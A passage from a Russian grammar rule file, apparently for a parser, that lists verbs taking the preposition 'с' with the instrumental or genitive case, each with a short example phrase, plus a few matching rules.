rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
